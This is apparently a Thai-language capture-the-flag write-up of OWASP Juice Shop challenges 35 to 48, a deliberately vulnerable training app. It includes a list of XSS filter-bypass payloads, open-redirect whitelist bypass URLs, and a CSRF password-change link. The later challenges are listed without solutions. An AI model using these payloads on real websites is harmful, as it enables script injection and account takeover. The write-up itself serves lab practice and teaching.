35. XSS Tier 4: Perform a persisted XSS attack with <script>alert(“XSS4”)</script> bypassing a server-side security mechanism.
ข้อนี้งงว่าจะต้องไปเริ่มตรงไหนเลยดู Hint ครับ
1 2 3 4 5 6 |
Hints - The Comment field in the Contact Us screen is where you want to put your focus on - The attack payload <script>alert("XSS4")</script> will not be rejected by any validator but stripped from the comment before persisting it - Look for possible dependencies related to input processing in the package.json.bak you harvested earlier - If an XSS4 alert shows up but the challenge does not appear as solved on the Score Board, you might not have managed to put the exact attack string <script>alert("XSS4")</script> into the database? |
สรุปคือไป XSS ที่ Contact US ให้ได้ ซึ่งพอผมใส่เป็น <script>alert(“XSS4”)</script> มันจะถูก filter ออก กลายเป็นว่างเปล่า ดังนั้นก็เลยไล่ XSS ที่พยายาม bypass ไปเรื่อยๆ
1 2 3 4 5 6 7 8 9 10 11 12 |
<<script>alert(1)</script>> <a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a> \x00<<>script\x00>alert(1)</\x00script> \x00<<b>script\x00>alert(1)</\x00script> \x00<<b>script>alert(1)</\x00<b>script> \x00<<b>script>alert(1)</<b>script> \x00<<b>script>alert(1)<<b>/script> <<b>script>alert(1)<</b>/script> <</p>script>alert(1)<</p>/script> <</p>script>alert(1)<</p>/script> <</style>script>alert(1)<</style>/script> <</style>script>alert("XSS4")<</style>/script> |
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- https://securityonline.info/cross-site-scripting-xss-payloads/
36. Redirects Wherever you go, there you are.
อันนี้เป็นเรื่อง redirect ซึ่งเมื่อเรากลับไปดูเมื่อเราทำ Dirb หรือว่า Spidering จะพบว่ามี path ที่ชื่อว่า redirect.php อยู่
แต่ประเด็นคือมันมี whitelist อยู่ ซึ่งเข้าใจว่ามันต้องเป็น bkimminich ไม่ก็ juice-shop นี่แหล่ะ ทีนี้เราก็จะใช้เวลาเดียวกับที่เราจะทำในการตัดนามสกุลก็คือ
1 2 3 |
https://www.google.com%2500https//github.com/bkimminich/juice-shop ไม่ก็ https://www.google.com?s=https//github.com/bkimminich/juice-shop |
37. CSRF: Change Bender’s password into slurmCl4ssic without using SQL Injection.
ในส่วน Change password นั้นไม่ได้มีการเช็ค Current Password (แม้ว่าหน้ากรอก Change password จะมีให้กรอกก็เถอะ) แต่เมื่อตัดออกกลับกลายเป็นว่ายังคงเปลี่ยน password ได้ ดังนั้นจึงสร้าง link สำหรับการเปลี่ยน password ให้เป็น slurmCl4ssic ขึ้นมา
1 |
http://IP:3000/rest/user/change-password?new=slurmCl4ssic&repeat=slurmCl4ssic |
ทีนี้พอเรา login เป็น Bender แล้ว click link นี้ก็จะผ่านครับ
(ด้านล่างทั้งหมดนี้ยังแก้ไม่ได้ครับ)
38. Easter Egg Tier 2: Apply some advanced cryptanalysis to find the real easter egg.
หลังจากเราได้ Easter Egg ตัวแรกมาปรากฏว่าในนั้นจะมีข้อความที่น่าจะ encode ด้วย base64 อยู่
1 |
L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA== |
เมื่อเอามา decode ได้เป็น
1 |
/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt |
ใช้เว็บไซด์นี้ในการเอาไป decode ใน encoding แบบต่างๆ
1 |
http://fbcs.bplaced.net/multi_encoder_decoder.html |
ได้ออกมาเป็น ROT 5 + 13
1 |
/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg |
เข้าไปที่ path ดังกล่าวเป็นอันผ่าน
39. Extra Language: Retrieve the language file that never made it into production.
ในข้อนี้มีคำใบ้เป็น
Hints
- First you should find out how the languages are technically changed in the user interface.
- You can then choose between three viable ways to beat this challenge:
- Trust in your luck and guess what language is the extra one.
- Apply brute force (and don’t give up to quickly) to find it.
- Investigate externally what languages are actually available.
ซึ่งเมื่อเราลองกลับไปดูตอนแรกที่เราทำการเข้าใช้งาน Juice-Shop เราจะเห็นว่าเราเลือกภาษาของเว็บไซด์ได้ ซึ่งเมื่อเราทำการเลือกภาษาจะมีการสร้าง request เป็น
จะเห็นว่ามีการเรียกไปยัง /il8n/<ภาษา>.json ที่เหลือเราก็แค่เปลี่ยน <ภาษา> เป็น list ของภาษา โดยดูจาก https://www.loc.gov/standards/iso639-2/php/code_list.php ทำการตัดให้เหลือเฉพาะ 2 อักษรย่อ
1 2 |
wget "https://www.loc.gov/standards/iso639-2/php/code_list.php" cat code_list.php | egrep "<td>\S{2}</td>" | cut -f3 | cut -c 5-6 > list.txt |
จากนั้นนำไป Brute Force ผ่าน Burp Suite – Intruder ต่ออีกที ปรากฏว่าไม่เวิร์ค เลยเปลี่ยนเป็นตัวย่อ 3 ตัวอักษรแทน
1 |
cat code_list.php | egrep '<td scope="row">\S{3}</td>' | cut -f3 | cut -c 17-19 |
จากนั้นนำไป Brute Force ผ่าน Burp Suite – Intruder ต่ออีกที
40. Login CISO: Exploit OAuth 2.0 to log in with the Chief Information Security Officer’s user account.
41. Reset Bjoern’s Password: Reset Bjoern’s password via the Forgot Password mechanism with the original answer to his security question.
42. Typosquatting Tier 2: Inform the shop about a more literal instance of typosquatting it fell for. (Mention the exact name of the culprit)
43. JWT Issues Tier 1: Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.
44. Forged Coupon: Forge a coupon code that gives you a discount of at least 80%.
45. Imaginary Challenge: Solve challenge #99. Unfortunately, this challenge does not exist.
46. Login Support Team: Log in with the support team’s original user credentials without applying SQL Injection or any other bypass.
47. Premium Paywall: Unlock Premium Challenge to access exclusive content.
48. JWT Issues Tier 2: Forge an almost properly RSA-signed JWT token that impersonates the (non-existing) user rsa_lord@juice-sh.op.
Source:: Juice-Shop